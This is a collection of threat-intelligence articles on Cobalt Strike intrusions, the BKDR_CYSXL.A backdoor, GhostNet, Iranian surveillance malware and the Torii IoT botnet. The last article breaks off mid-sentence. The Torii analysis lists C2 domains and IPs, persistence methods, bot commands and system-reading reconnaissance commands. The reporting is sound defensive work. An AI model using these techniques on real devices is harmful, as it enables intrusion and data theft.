In July 2021, the threat actors behind the Cobalt Strike operation compromised four different financial organizations via one technology provider, which each of the victims were using to manage their IT environments. Since the technology provider deployed SonicWall as a VPN solution for its customers, the financial organizations were rendered vulnerable to the previously mentioned exploits. In these cases, the threat actors were able to delete cloud-stored backups prior to ransomware deployment. Luckily, the financial companies had other, more recent backups, to restore from – a good lesson to follow. The ransomware was later determined to be the late Go Version of Feral Spider and shared similarities to previous FiveHands and HelloKitty variants.
More recently, on Valentine’s Day 2022, amidst escalating tensions between Russia and Ukraine, the TRU intercepted an attack leveraging the Cobalt Strike infrastructure in which the threat actors were trying to breach a children’s charity and, hours later, they attempted to breach a legal firm. However, one attack stands out as a demonstration of the power and capability of the Cobalt Strike Intrusion Suite, should it land in the wrong hands: the ShadowBeacon Incident.
## The Cobalt Strike ShadowBeacon Incident
The TRU observed the first Cobalt Strike Beacon early in the morning during the summer of 2021. The Beacon instance presented an immediate mystery – it pointed to an internal device. The infected host was isolated and an investigation into the source of the signal was opened; another Beacon appeared. Again, a host was isolated. The Beacons were being deployed from the domain controllers via PsExec, a legitimate administrator tool used for remotely executing binaries. This time; however, the internal IP was different. Sensing an active hands-on intrusion, TRU began manually deleting the Beacon instances just as eSentire’s incident handlers were finding an answer to the shifting Command and Control channel. The intruders were using Forty North’s C2Concealer. The Beacons were SMB Beacons, which utilize the organization’s internal SMB traffic for its C2. That meant that the cloaked internal device likely had an HTTP Beacon–through which it was funneling the traffic from SMB Beacons to the exterior Cobalt Strike C2 Server. The more common Beacon utilizes standard internet protocols.
To gain further intelligence around the mysterious internal device required a review of the Windows logs. Given that the customer wasn’t ingesting their log signals into eSentire’s Atlas XDR platform, a manual request for logs was initiated, introducing a delay to the investigation. With domain control and a cloaked machine, the attacker continued to deploy SMB beacons, struggling to maintain a foothold as incident handlers continued to shut down Beacon instances. But after receiving and manually reviewing the Windows logs, TRU discovered the intersection of the SMB traffic and patient zero.
### Crafty Threat Actors Bring Their Own Virtual Machine
The Windows logs revealed that the threat actor had been able to register their own virtual machine on the victim organization’s network, using it as a pivot to their actual, exterior C2. With the source of the infection no longer hiding in the VPN pool, the attacker was kicked out and the recovery process started. No ransomware was observed.
## Cobalt Strike Infrastructure-Campaign Links
### Conti Playbook and Intrusion Tools Used in the ShadowBeacon Incident
The recent leak of a Conti message board provides a thorough set of tools and practices used by Conti. The following was observed in both the ShadowBeacon Incident and Conti’s expansive playbooks:
- SonicWall Exploits
- Forty North’s C2Concealer
- Bring Your Own Virtual Machine (BYOVM)
- The use of VPS servers for C2
### SonicWall Exploits and FiveHands Ransomware
- June 2021 – CrowdStrike reports a new variant of Go ransomware
- August 2021 – BreakPoint Labs reports numerous domains associated with the previously mentioned breaches. The hashes reported by CrowdStrike, and BreakPoint Labs share vhash similarity in VirusTotal
- August 2021 – eSentire observes the Cobalt Strike ShadowBeacon Incident.
### Shathak, BazarLoader, IcedID and Conti Ransomware
- August 2021 – amibios-updater.com is reported by Brad Duncan of Palo Alto Networks’ Unit42 in association with TA551 and BazarLoader
- October 2021 – IBM X-Force Reports Shathak brokering initial access on behalf of Conti ransomware affiliates
- November 2021 – sonyblueprint.com is reported by Unit42 in association with Shathak, BazarLoader and VNC, a remote desktop sharing protocol that precedes RDP.
- January 2022 – customsecurityusa.com and juniperengineer.com reported by Unit42 in association with Shathak and IcedID
### TR Botnet and IcedID
- June 2021 – Proofpoint notes use of IcedID by both TA577 and TA551
- December 2021 – bqtconsulting.com is reported by SANS in association with IcedID and the backdoor, DarkVNC
- January 2022 – driverpackcdn.com is reported by Unit42 in association with IcedID
- February 2022 – TRU observes two cyber incidents leveraging Cobalt Strike via the infrastructure on recently created domains. IcedID was the initial access vector.
## Glossary of terms
- **IcedID** – a botnet loader known to arise from malicious documents and often leading to Cobalt Strike or other backdoors that position threat actors for ransomware deployment.
- **TR Botnet (aka TA577)** – The TR botnet delivers payloads via malicious documents. TR has been associated with SquirrelWaffle and Qakbot campaigns but has recently been observed delivering IcedID.
- **Shathak (aka TA551)** – A cybercrime group that is known for launching phishing campaigns that typically distribute malicious documents which, in turn, often lead to backdoors such as IcedID.
- **Emotet** – A loader malware delivered via malicious document through email. Known to deliver Trickbot and Cobalt Strike.
- **Trickbot** – A botnet loader delivered via malicious documents.
- **Conti (aka Grim Spider)** – A large and sophisticated group of ransomware developers and operators, known for compromising and disrupting the critical operations of healthcare organizations, 911 emergency services, municipalities, oil transportation and storage providers, electric companies, schools, IT service providers, food and pharmaceutical providers. Conti popularized the modern ransomware model with its original project, Ryuk, which was delivered via Emotet dropping Trickbot.
- **Cobalt Strike** – An intrusion suite, billed as “adversary simulation” that has sophisticated evasion features, such as a malleable C2 and an injection kit, to deploy more tools throughout a victim’s IT environments.
- **Discovery** – generally the first tactic threat actors take when they get hands-on keyboard in an environment. Discovery helps threat actors determine the kind of endpoint they’ve landed on and what kind of accounts they can pivot to next.
- **Lateral Tool Transfer** – a technique that allows an active intruder to import more intrusion tools from their own environment to the victims, including password crackers, exploits and exfiltration tools.
- **Privilege Escalation** – allows attackers to raise privileges on a compromised account or obtain credentials for more privileged accounts.
- **Malleable C2** – allows threat actors to rotate through different communication procedures, making it harder to track and detect known procedures.
- **Artifact Kit** – a Cobalt Strike feature that allows an active intruder the ability to inject tools into legitimate windows processes, reducing their chance of detection.
- **Initial Access** – how an intruder gains entry into a victim’s network. Examples include phishing emails, remote exploits, and supply-chain attacks.
- **Aggressor Scripts** – A scripting framework, built within Cobalt Strike 3.0 and later versions, which will automate and customize the intrusion workflow being conducted by threat actors. Examples of Aggressor Scripts include notifying the threat actors of a successful compromise via Slack or running Mimikatz within the victim’s IT environment. Mimikatz is a credential password stealer tool.
- **Beacon** – the Cobalt Strike’s backdoor.
- **Beacon Profiles** – Beacon profiles define the configuration of the Beacon Backdoor, including the windows processes (aka injection targets) that artifact kit will use to deploy tools, how often Beacon will check in with Team Server, and the C2’s URL and port. |
# BKDR_CYSXL.A
## Description
**Type:** Backdoors
Bkdr_Cysxl.A is a backdoor Trojan being used in a widespread email spam campaign exploiting the excitement of the upcoming 2012 Summer Olympic Games hosted in London. Cybercriminals exploit any opportunity to reap ill-gained profits. While to some people the Olympic Games are just another sports event, for many others it is a culture. Die-hard fans like to get an early jump on buying tickets, especially top category events that often sell out.
Email scams that spoof or exploit official Olympic sites and promotions are nothing new. In fact, Internet security experts reported a 2012 London Olympic Game email spam surfacing as early as October 2008.
The email spam delivering Bkdr_Cysxl.A presents as follows:
"Don't be fooled by bogus websites and organizations claiming to sell tickets to the Games. Tickets will be available from this website, for the UK and EEA (European Economic Area) residents only, and official 2012 London sales channel from spring 2011. You will not be asked to make a payment or sign a contract until then. Please read about tickets for details at the attachment which has some bogus websites and organizations."
The above spam letter is sealed with a fraudulent 2012 Olympic Games logo, which cybercriminals hope authenticates the farce and scam to further deceive unwary PC users. It is not mere coincidence that the first line in the bogus email letter mirrors actual verbiage posted on one of the official ticket selling sites for the 2012 London Olympic and Paralympic Games. Malware makers and cybercriminals often shape their viral warheads off of legitimate branding, even violating copyrights.
In order to execute the payload, PC users must open the infectious .DOC attachment containing three supposed bogus websites. If opened, a malicious file detected as TROJ_ARTIEF.ZIGS exploits a RTF stack buffer overflow and unleashes or downloads Bkdr_Cysxl.A onto the infected system.
In addition to opening a backdoor for a hacker to gain access and possible administrative control, Bkdr_Cysxl.A will reconfigure the system. Files and components might be deleted to render the firewall and weaker anti-virus programs defenseless and to cripple the operating system, helping to justify the lies and behaviors of a fake online scanner or rogue security program. A port will be opened to report successful infiltration and implantation of malicious files and components, earning pay for the malware builder. Vital data will be stolen off the system, and more malicious programs might be installed.
Hopefully, you did not fall for the scam and deleted the spam letter altogether as opposed to opening the malicious document. If you or someone using your PC has fallen victim, you should clean your computer by using a trusted anti-malware program to scan and eradicate all found malware, even those hidden in the root of your PC. Before buying tickets online, make sure the website or ticket promoter is legitimate and you are not just handing your financial data over to a hacker.
## Technical Information
### File System Details
**Detection**
| # | File Name | MD5 | Count |
|---|-----------|-----|-------|
| 1 | %System%\Document and Settings\All users\realupdate.exe | N/A | - |
| 2 | %System%\cydll.dll | N/A | - |
| 3 | file.exe | 14b6fcdff12b707bf660d552b2e24731 | 0 |
| 4 | file.dll | c10ae223f80a4aab03da384e4c89a39d | 0 |
### Registry Details
BKDR_CYSXL.A creates the following registry entry or entries:
- HKEY_CLASSES_ROOT\Sxl
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CyService\parametersServiceDll = "%System%\cydll.dll"
## Disclaimer
Enigmasoftware.com is not associated, affiliated, sponsored, or owned by the malware creators or distributors mentioned in this article. This article should NOT be mistaken or confused with the promotion or endorsement of malware. Our intent is to provide information that will educate computer users on how to detect and ultimately remove malware from their computer with the help of SpyHunter and/or manual removal instructions provided in this article.
This article is provided "as is" and to be used for educational information purposes only. By following any instructions in this article, you agree to be bound by the disclaimer. We make no guarantees that this article will help you completely remove the malware threats on your computer. Spyware changes regularly; therefore, it is difficult to fully clean an infected machine through manual means. |
# GhostNet
GhostNet (simplified Chinese: 幽灵网; traditional Chinese: 幽靈網; pinyin: YōuLíngWǎng) is the name given by researchers at the Information Warfare Monitor to a large-scale cyber spying operation discovered in March 2009. The operation is likely associated with an advanced persistent threat, or a network actor that spies undetected. Its command and control infrastructure is based mainly in the People's Republic of China and GhostNet has infiltrated high-value political, economic, and media locations in 103 countries. Computer systems belonging to embassies, foreign ministries, and other government offices, and the Dalai Lama's Tibetan exile centers in India, London, and New York City were compromised.
## Discovery
GhostNet was discovered and named following a 10-month investigation by the Infowar Monitor (IWM), carried out after IWM researchers approached the Dalai Lama's representative in Geneva suspecting that their computer network had been infiltrated. The IWM is composed of researchers from The SecDev Group and Canadian consultancy and the Citizen Lab, Munk Centre for International Studies at the University of Toronto; the research findings were published in the Infowar Monitor, an affiliated publication. Researchers from the University of Cambridge's Computer Laboratory, supported by the Institute for Information Infrastructure Protection, also contributed to the investigation at one of the three locations in Dharamshala, where the Tibetan government-in-exile is located. The discovery of the 'GhostNet', and details of its operations, were reported by The New York Times on March 29, 2009. Investigators focused initially on allegations of Chinese cyber-espionage against the Tibetan exile community, such as instances where email correspondence and other data were extracted.
Compromised systems were discovered in the embassies of India, South Korea, Indonesia, Romania, Cyprus, Malta, Thailand, Taiwan, Portugal, Germany, and Pakistan, and the office of the Prime Minister of Laos. The foreign ministries of Iran, Bangladesh, Latvia, Indonesia, Philippines, Brunei, Barbados, and Bhutan were also targeted. No evidence was found that U.S. or UK government offices were infiltrated, although a NATO computer was monitored for half a day and the computers of the Indian embassy in Washington, D.C., were infiltrated.
Since its discovery, GhostNet has attacked other government networks, for example, Canadian official financial departments in early 2011, forcing them offline. Governments commonly do not admit such attacks, which must be verified by official but anonymous sources.
## Technical functionality
Emails are sent to target organizations that contain contextually relevant information. These emails contain malicious attachments that, when opened, enable a trojan horse to access the system. This Trojan connects back to a control server, usually located in China, to receive commands. The infected computer will then execute the command specified by the control server. Occasionally, the command specified by the control server will cause the infected computer to download and install a trojan known as Gh0st Rat that allows attackers to gain complete, real-time control of computers running Microsoft Windows. Such a computer can be controlled or inspected by attackers, and the software even has the ability to turn on camera and audio-recording functions of infected computers, enabling attackers to perform surveillance.
## Origin
The researchers from the IWM stated they could not conclude that the Chinese government was responsible for the spy network. However, a report from researchers at the University of Cambridge says they believe that the Chinese government is behind the intrusions they analyzed at the Office of the Dalai Lama. Researchers have also noted the possibility that GhostNet was an operation run by private citizens in China for profit or for patriotic reasons, or created by intelligence agencies from other countries such as Russia or the United States. The Chinese government has stated that China "strictly forbids any cyber crime."
The "Ghostnet Report" documents several unrelated infections at Tibetan-related organizations in addition to the Ghostnet infections. By using the email addresses provided by the IWM report, Scott J. Henderson managed to trace one of the operators of one of the infections (non-Ghostnet) to Chengdu. He identifies the hacker as a 27-year-old man who had attended the University of Electronic Science and Technology of China and is currently connected with the Chinese hacker underground.
Despite the lack of evidence to pinpoint the Chinese government as responsible for intrusions against Tibetan-related targets, researchers at Cambridge have found actions taken by Chinese government officials that corresponded with the information obtained via computer intrusions. One such incident involved a diplomat who was pressured by Beijing after receiving an email invitation to a visit with the Dalai Lama from his representatives. Another incident involved a Tibetan woman who was interrogated by Chinese intelligence officers and was shown transcripts of her online conversations. However, there are other possible explanations for this event. Drelwa uses QQ and other instant messengers to communicate with Chinese Internet users. In 2008, IWM found that TOM-Skype, the Chinese version of Skype, was logging and storing text messages exchanged between users. It is possible that the Chinese authorities acquired the chat transcripts through these means.
IWM researchers have also found that when detected, GhostNet is consistently controlled from IP addresses located on the island of Hainan, China, and have pointed out that Hainan is home to the Lingshui signals intelligence facility and the Third Technical Department of the People's Liberation Army. Furthermore, one of GhostNet's four control servers has been revealed to be a government server. |
# Iran’s Domestic Espionage: Lessons from Recent Data Leaks
By the Intel 471 Global Research Team.
In the last decade, Iran has undergone a quiet revolution. Since the “Green Movement” uprising in 2009, more Iranians have dared to openly oppose their regime. The reasons include accusations of election tampering, global sanctions, increased inflation, heavy investment of state funds in nuclear and arming programs, and ambitious regional policies in Lebanon, Syria, Iraq, Yemen, and others, amid a deteriorating socioeconomic situation of the average Iranian.
There was a lot of talk in the past about Iran’s espionage measures and offensive cyber activities targeting other countries. However, growing domestic unrest prompted the Iranian regime to invest more resources in developing espionage capabilities aimed against its own citizens. Additionally, the regime carried out tough measures against civil uprisings, such as cutting off the internet in the country for long periods and killing hundreds of protestors.
During the past year, a number of online activists have leaked what they claim to be inside information about the regime’s surveillance methods, in an attempt to expose the unethical tactics used by Iranian security forces. Among the top whistleblowers are operators of the Lab Dookhtegan (translated in Persian as “stitched lips”) Telegram channel and an activist named Masoud Molavi. Molavi, assassinated by Iranian agents in November 2019, was a former cybersecurity official behind the Black Box Telegram channel that was responsible for many notable leaks of Iranian government information.
The series of leaks uncovered hundreds of documents that offer a glimpse into the way Iran is spying on its own people. According to the leaked information, the Islamic Revolutionary Guard Corps (IRGC) and the Iranian Ministry of Intelligence Services (MOIS) developed numerous tools, malicious software, surveillance systems, and data analysis platforms to control citizens in Iran and abroad. Much of this activity allegedly was conducted in the Rana Intelligent Computing Institute, an organization working under the Iranian MOIS, involved in internal espionage by developing unique tools and gaining access to a variety of foreign countries’ infrastructure.
## Tools and Techniques Used for Domestic Espionage
According to the information shared by these whistleblowers, Iran is heavily investing in the development of customized tools and malicious software for domestic espionage. For example, the Iranian regime developed a surveillance system dubbed Abi, which allegedly was used to spy on political activists, human rights lawyers, regime opponents, and protesters by intercepting Bluetooth communications. According to an Iranian blog called Arezooyenatamam (translated in Persian as ‘an unfinished dream’), this system has been installed on pickup trucks posted in strategic locations in Iran such as university campuses or protest centers.
The Iranian regime also developed customized malware used for stealing information from citizens. One example found in those leaks was called WinspySuite, a remote access and information stealing malware that reportedly was used specifically to spy on suspects arrested by the regime. Internally referred to as Peyvand, the malware allegedly was loaded onto a target’s computer via a USB flash drive during interrogations or sent via a malicious link to a victim’s email address. The regime also developed a remote access tool for Android and iPhone mobile devices as part of a project dubbed Project 220. The malware purportedly was able to steal sensitive data from a victim’s device, including call data, text messages, contacts, and locations.
Another malware project dubbed Project 420, aka Dolphin, developed, deployed, and controlled an undisclosed mobile malware capable of collecting and analyzing information about the activities of individuals and groups on social media networks including Facebook, Twitter, and Instagram, and on messaging applications such as Telegram.
According to leaked information, the regime not only developed tools for stealing sensitive data from its citizens but also created designated platforms for the collection and analysis of the data. A system dubbed Payamak was developed to store and analyze text messages from targeted subjects. A software called Seraj was used as an analytical search engine for data on suspects, employees, intelligence operations, and arrests related to the MOIS. Another system mentioned in reports dubbed Shojreh includes a mapping of family relations of Jewish people in Iran and abroad.
Additionally, the IRGC and MOIS gained unauthorized access to legitimate services or websites to spy on Iranian citizens. For example, the MOIS would compromise Iran’s National Library computer network seeking to obtain personal information about users, mainly students and political prisoners, and their topics of interest. The MOIS allegedly also abused this access to send phishing emails with malicious attachments from the library’s official email account.
## Tracking Iranians Abroad
In addition to all of the above, the Iranian government is making great efforts to monitor citizens going abroad by surveying and analyzing location data obtained from Iranian cellular operators with a system called Pouya, and by compromising the infrastructure of foreign companies.
In 2019, an unknown activist or group of activists launched a site called “Vagheyatepenhaan” (translated in Persian as ‘the hidden facts’) to expose Iranian regime espionage-related activity. The site contains a large section about espionage enterprises outside Iran that was conducted to monitor the movement of Iranians traveling abroad. According to this information, the regime gained access to computer systems of numerous airline companies in Bahrain, Dubai, India, Indonesia, Malaysia, Pakistan, the Philippines, Qatar, Saudi Arabia, Thailand, and the United Arab Emirates (UAE) for data collection on flights of Iranian citizens. In another case, leaked documents showed the government worked on a project that aimed to compromise hotel websites in the Republic of Georgia, a neighboring country and a popular holiday destination for Iranians.
While they can be considered revealing, it should be noted that these leaks provide a very narrow window into the full extent of the Iranian regime’s priorities. However, the information disclosed provides evidence that as time goes by, motivation to expose these activities likely will remain high. |
# New Torii Botnet Uncovered, More Sophisticated Than Mirai
**Threat Intelligence Team**
27 Sep 2018
New, more sophisticated IoT botnet targets a wide range of devices
Written by Jakub Kroustek, Vladislav Iliushin, Anna Shirokova, Jan Neduchal, and Martin Hron
**Disclaimer:** Analysis of the server content and samples was done on Thursday, September 20th. Follow the Avast Blog for further updates.
## Introduction
2018 has been a year where the Mirai and QBot variants just keep coming. Any script kiddie now can use the Mirai source code, make a few changes, give it a new Japanese-sounding name, and then release it as a new botnet. Over the past week, we have been observing a new malware strain, which we call Torii, that differs from Mirai and other botnets we know of, particularly in the advanced techniques it uses.
Unlike the aforementioned IoT botnets, this one tries to be more stealthy and persistent once the device is compromised, and it does not (yet) do the usual stuff a botnet does like DDoS, attacking all the devices connected to the internet, or, of course, mining cryptocurrencies. Instead, it comes with a quite rich set of features for exfiltration of sensitive information, modular architecture capable of fetching and executing other commands and executables, and all of it via multiple layers of encrypted communication.
Furthermore, Torii can infect a wide range of devices and it provides support for a wide range of target architectures, including MIPS, ARM, x86, x64, PowerPC, SuperH, and others. Definitely, one of the largest sets we’ve seen so far. As we’ve been digging into this strain, we’ve found indications that this operation has been running since December 2017, maybe even longer. We would like to give credit to @VessOnSecurity, who actually tweeted about a sample of this strain hitting his telnet honeypot last week. According to this security researcher, telnet attacks have been coming to his honeypot from Tor exit nodes, so we decided to name this botnet strain “Torii”.
In this post, we will describe what we know about this strain so far, how it is spreading, what are its stages, and we will depict some of its features. The analysis is still ongoing and further findings will be included in blog post updates. Now, let’s start with the infection vector.
## Analysis of the Initial Shell Script
The infection chain starts with a telnet attack on the weak credentials of targeted devices followed by execution of an initial shell script. This script looks quite different from typical scripts that IoT malware uses in that it is far more sophisticated. The script initially tries to discover the architecture of the targeted device and then attempts to download the appropriate payload for that device. The list of architectures that Torii supports is quite impressive: including devices based on x86_64, x86, ARM, MIPS, Motorola 68k, SuperH, PPC - with various bit-width and endianness. This allows Torii to infect a wide range of devices running on these very common architectures.
The malware uses several commands to download binary payloads by executing the following commands: "wget", "ftpget", "ftp", "busybox wget", or "busybox ftpget". It uses multiple commands to maximize the likelihood that it can deliver the payload. If the binaries cannot be downloaded via the HTTP protocol with “wget” or “busybox wget” commands, it will use FTP. When the FTP protocol is being used, it requires authentication. Credentials are nicely provided in the script:
- Username: u="<redacted>"
- Password: p="<redacted>"
- Port for FTP: po=404
- IP of the FTP/HTTP server: 104.237.218.85 (This IP is still alive at the time of writing this post.)
By connecting to the FTP server, there is quite a lot going on. Among other things, the server contains logs from the NGINX and FTP servers, payload samples, a bash script that directs the infected devices to this very machine where the malware is hosted, and more. We’ll discuss what we found in these logs at the end of this post, but first let’s take a look at all the samples that are hosted there.
## Analysis of the 1st Stage Payload (Dropper)
Once the script determines which architecture the target device it is running on, it downloads and executes the appropriate binary from the server. All of these binary files are in the ELF file format. While analyzing these payloads, we found that they are all very similar and are “just” droppers of the second stage payload. What is notable is that they use several methods to make the second stage persistent on the target device.
For our description, we’ll focus on the x86 sample with the SHA256 hash: 0ff70de135cee727eca5780621ba05a6ce215ad4c759b3a096dd5ece1ac3d378.
### String Obfuscation
First, we tried to de-obfuscate the sample, so we delved into some of the text strings to look for clues on how the malware works. The vast majority of text strings in the 1st and 2nd stage are encrypted by a simple XOR-based encryption and they are decrypted during runtime when a particular string is needed. You can use the following IDA Python script for decryption:
```python
sea = ScreenEA()
max_size = 0xFF
for i in range(0x00, max_size):
b = Byte(sea+i)
decoded_byte = (b ^ (0xFEBCEADE >> 8 * (i % 4))) & 0xFF;
PatchByte(sea+i,decoded_byte)
if b == 0x00 or decoded_byte == 0x00:
break
```
e.g. F1 9A CE 91 BD C5 CF 9B B2 8C 93 9B A6 8F BC 00 → ‘/proc/self/exe’
### Install 2nd Stage ELF File
The core functionality of the first stage is to install another ELF file, the second stage executable, which is contained within the first ELF file. The file is installed into a pseudo-random location that is generated by combining a predefined location from a fixed list:
- "/usr/bin"
- "/usr/lib"
- $HOME_PATH
- "/system/xbin"
- "/dev"
- $LOCATION_OF_1ST_STAGE
- "/var/tmp"
- "/tmp"
and a filename from another list:
- “setenvi“
- “bridged“
- “swapper“
- “natd“
- “lftpd“
- “initenv“
- “unix_upstart“
- “mntctrd“
Putting these two items together creates the destination file path.
### Make the 2nd Stage Persistent
Afterwards, the dropper makes sure that the second stage payload is executed and that it will remain persistent. It is unique in that it is remarkably thorough in how it achieves persistence. It uses at least six methods to make sure the file remains on the device and always runs. And, not just one method is executed – it runs all of them.
1. Automatic execution via injected code into ~\.bashrc
2. Automatic execution via “@reboot” clause in crontab
3. Automatic execution as a “System Daemon” service via systemd
4. Automatic execution via /etc/init and PATH. Once again, it calls itself "System Daemon"
5. Automatic execution via modification of the SELinux Policy Management
6. Automatic execution via /etc/inittab
And, finally, it executes the dropped inner ELF – the second stage payload.
## Analysis of the 2nd Stage Payload (Bot)
The second stage payload is a full-fledged bot capable of executing commands from its master (CnC). It also contains other features such as simple anti-debugging techniques, data exfiltration, multi-level encryption of communication, etc. Furthermore, many functions found in the second stage are the same as in the first, making it highly likely they are both created by the same author(s). The code inside of the first stage payload is almost identical in all the versions. This is however not true in the case of the second stage where we find differences among the binaries for various hardware architectures. To describe the core functionality that can be found in most of the versions, we will once again take a look on x86 code found in the sample with SHA256 hash: 5c74bd2e20ef97e39e3c027f130c62f0cfdd6f6e008250b3c5c35ff9647f2abe.
### Anti-Analysis Methods
The anti-analysis methods in this malware are not as advanced as we are accustomed to seeing in Windows or mobile malware, but they are improving.
- It uses the simple anti-analysis method of a 60 seconds sleep() after execution, which probably tries to circumvent simple sandboxes.
- Furthermore, it tries to randomize the process name via prctl(PR_SET_NAME) call to something like “\[[a-z]{12,17}\]” (regular expression) in order to avoid detection of blacklisted process names.
- Finally, the authors are trying to make the analysis harder by stripping the symbols from executables. When we first downloaded the samples from the aforementioned server 104.237.218.85, they all contained symbols, which made their analysis easier. It is interesting to note that a few days later these files were replaced by their stripped versions. No other differences were found between these two versions, leading us to believe that the authors are taking continual action to further protect their executables against analysis.
## CnC Servers
As we already said, this component is a bot that communicates with a master CnC server. The addresses of the CnCs are once again encrypted by the aforementioned XOR-based cipher. It seems that each Torii version contains 3 CnC addresses. The campaign that is currently running tries to get commands from CnC servers running at:
- top.haletteompson.com
- cloud.tillywirtz.com
- trade.andrewabendroth.com
It tries to communicate with the first domain from the list and moves to the next one if it fails. In the case of failure, it also tries to resolve the domain name via Google DNS 8.8.8.8.
### Resolving CnC Domain Name
These three domain names have resolved to IP 66.85.157.90 since September 15, 2018. Some other domains hosted on the same IP are also quite suspicious:
- cloud.tillywirtz.com
- dushe.cc
- editor.akotae.com
- press.eonhep.com
- web.reeglais.com
- psoriasiafreelife.win
- q3x1u.psoriasiafreelife.win
- server.blurayburnersoftware.com
- top.haletteompson.com
- trade.andrewabendroth.com
- www.bubo.cc
- www.dushe.cc
That so many strange looking domains are hosted at one IP address raises concern. Furthermore, the CnC domain names resolved to a different IP address (184.95.48.12) before that.
### CnC Communication
The second stage communicates with these CnC servers via TCP port 443 as well as further encryption layers. It is interesting to note that it uses port 443 as a deception, as it doesn’t communicate using TLS but takes advantage of common use of this port for HTTPS traffic. Each message (including replies) forms a structure we call a “message envelope” and each envelope is AES-128 encrypted and there is a MD5 checksum of the content to ensure it hasn’t been modified or corrupted. Furthermore, each envelope contains a stream of messages where each message is encrypted by a simple XOR-based encryption, which is different than the one used to obfuscate the strings. It isn’t as strong as it looks as the decryption keys are included in the communication.
### Algorithm Used for Encryption of CnC Messages
Torii also exfiltrates the following information while connecting to a CnC server:
- Hostname
- Process ID
- Path to second stage executable
- All MAC addresses found in /sys/class/net/%interface_name%/address + its MD5 hash - this forms some kind of unique victim ID, allowing the bad actor to fingerprint and catalog devices more easily. It is also stored in local files with strange names such as:
- GfmVZfJKWnCheFxEVAzvAMiZZGjfFoumtiJtntFkiJTmoSsLtSIvEtufBgkgugUOogJebQojzhYNaqyVKJqRcnWDtJlNPIdeOMKP
- VFgKRiHQQcLhUZfvuRUqPKCtcrjmhtKcYQorAWhqAuZuWfQqymGnWiiZAsljnyNlocePAOHaKHvGoNXMZfByomZqEMbtkOEzQkQq
- XAgHrWKSKyJktzLCMcEqYqfoeUBtgodeOjLgfvArTLeOkPSyRxqrpvFWRhRYvVcLeNtMKTdgFhwrypsRoIiDeObVxTTuOVfSkzgx
- Details found by uname() call, including sysname, version, release, and machine.
- Outputs of the following commands designed to gain yet more information on the target device:
- id 2>/dev/null
- uname -a 2>/dev/null
- whoami 2>/dev/null
- cat /proc/cpuinfo 2>/dev/null
- cat /proc/meminfo 2>/dev/null
- cat /proc/version 2>/dev/null
- cat /proc/partitions 2>/dev/null
- cat /etc/*release /etc/issue 2>/dev/null
### CnC Commands
While analyzing the code, we’ve found that the bot component is communicating with the CnC with active polling in an endless loop, always asking its CnC whether there are any commands to execute. After receiving a command, it replies with the results of the command execution. Each message envelope has a value specifying which type of command it brings. The same value is used for reply. We have uncovered the following command types:
- **0xBB32** - Store a file from CnC to a local drive:
- Receive:
1. Filepath where to store content from CnC
2. Content
3. MD5 checksum of content
- Reply:
1. File path where the file was stored
2. Error code
- **0xA16D** - Receive value of timeout to be used for CnC polling:
- Receive:
1. DWORD with number of minutes to sleep between CnC contacts
- Reply:
1. Message with code 66
- **0xAE35** - Execute a given command in a desired shell interpreter and send outputs back to CnC:
- Receive:
1. Command to execute in shell (sh -c "exec COMMAND")
2. WORD with execution timeout in seconds (max 60 seconds)
3. String with a path to shell interpreter (optional)
- Reply:
1. String with outputs (stdout + stderr) of command execution
- **0xA863** - Store a file from CnC to a given path, change its flags to “rwxr-xr-x” to make it executable and then execute it:
- Receive:
1. File path where to store content from CnC
2. Content
3. MD5 checksum of content
- Reply:
1. File path where the file was stored
2. Return code from execution of that file
- **0xE04B** - Check that the given file exists on a local system and return its size:
- Receive:
1. Filepath to check
- Reply:
1. File path
2. File size
- **0xF28C** - Read N bytes from offset O of selected file F and send them to CnC:
- Receive:
1. File path to file (F) to read from
2. QWORD offset (O) where to start reading
3. DWORD number (N) of bytes to read
- Reply:
1. File content
2. Offset
3. Size of bytes read
4. MD5 checksum of read content
- **0xDEB7** - Delete a specified file:
- Receive:
1. Name of a file to delete
- Reply:
1. Error code
- **0xC221** - Download a file from the given URL:
- Receive:
1. Path where to store file
2. URL
- Reply:
1. File path
2. URL
- **0xF76F** - Get address of a new CnC server and start communication with it:
- Receive:
1. ?
2. New domain name
3. New port
4. ?
- Reply:
1. Repeat the received information
- **0x5B77, 0x73BF, 0xEBF0**, and probably other codes - Some kind of communication to ping or get a heartbeat on the target device to ensure the communication partner that the communication channel is working:
- Receive:
1. Everything received is ignored
- Reply:
1. Repeat the received information
## Analysis of the sm_packed_agent
While we were investigating the server, we found another interesting binary we managed to get from the FTP server that is called “sm_packed_agent”. We don’t have any evidence that it has been used on the server, but its versatility suggests that it could be used to send any remote command desired to the target device. It contains a GO-written application packed using UPX when unpacked, it has a few interesting strings that suggest it has server-like capabilities.
### Functionality
The functionality of the sm_agent is as follows:
- Takes one parameter on cmdline -p with port number
- Initializes crypto, loads TLS and keys + cert
- Creates server and listening for TLS connection
- Awaits commands encoded in BSON format
- Command handler inside knows these commands:
1. Monitor_GO_agent__Agent_GetSystemInfo
2. Monitor_GO_agent__Agent_GetPerformanceMetrics
3. Monitor_GO_agent__Agent_ExecCmdWithTimeout (this command seems to be able to run any arbitrary OS command read from BSON payload.)
### TLS Encryption, Certificates, and Keys
- Agent uses ChaCha20-Poly1305 stream cipher for TLS
- Keys and certs in the same directory
- Self-signed certificate of authority ca.crt with name Mayola Mednick
- client.crt issued by ca.crt for Dorothea Gladding
- server.crt + server.key issued by ca.crt for Graham Tudisco
Certificates are self-signed and obviously using fake names.
## Analysis of Logs From the Server 104.237.218.85
Finally, we took a look at the logs we found for both the Nginx server and the FTP server. Such access logs can help us understand how many clients actually were infected by Torii or tried to download it. As we write this blog, Torii authors have already disabled FTP and Nginx logging, but looking at the logs that are available, we can generate some simple statistics.
A total of 206 unique IPs connected to the server on September 7th, 8th, 19th, and 20th according to the logs on the server.
- Access-2018-09-07.log - 54 unique IPs
- Access-2018-09-08.log - 20
- Access-2018-09-19.log - 189
- Access-2018-09-20.log - 10
It looks like one IP 38.124.61.111 connected to the server 1,056,393 times! By looking into the logs, it seems that someone actually ran DirBuster-1.0-RC1, trying to figure out what is going on. Brute force DirBuster is used to guess directories/filenames on the web server and generates a large number of requests. It is quite unfortunate if this scan originated from a researcher as there are more elegant approaches in the case of a sophisticated malware like Torii.
By scanning the ports of IP 38.124.61.111, we can see that there are a few ports open. On port 27655, there is an SSH banner which states: “SSH-2.0-OpenSSH_7.4p1 Raspbian-10+deb9u3”. It looks like this box is running Raspbian. If you are behind this, write us.
Other logs that are available to us are FTP server logs. There are a few clients that connected and downloaded some files that are not on the FTP server anymore:
